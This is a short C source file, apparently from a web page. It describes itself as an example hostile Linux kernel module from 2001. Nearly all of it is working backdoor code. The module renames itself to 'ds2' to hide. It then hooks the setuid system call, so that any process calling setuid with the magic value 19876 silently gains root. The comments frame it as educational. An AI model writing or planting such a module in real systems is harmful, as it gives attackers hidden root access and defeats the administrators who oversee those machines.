|
|
(view this code in a separate window)
/*
* evil.setuid.c
*
* Example hostile Linux loadable kernel module
*
* Copyright 2001, Bri Hatch
* Released under the GPL. See COPYING file
* for more information.
*
* Note: there are zillions of ways to do this.
* Have fun, program your own, and learn a bit about
* kernel games.
*
*/
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>
int new_setuid(uid_t);
int (*real_setuid)(uid_t);
extern void *sys_call_table[];
int init_module() {
/* Change our module name to hide a bit. It'll
help prevent it from being found on disk. */
register struct module *mp asm("%ebx");
*(char *) (mp->name) = 'd';
*(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2';
*(char *) (mp->name+3) = '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}
int cleanup_module() {
sys_call_table[ SYS_setuid ] = (void *)real_setuid;
return 0;
}
int new_setuid(uid_t uid) {
if ( uid == 19876 ) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}
return (*real_setuid)(uid);
}
|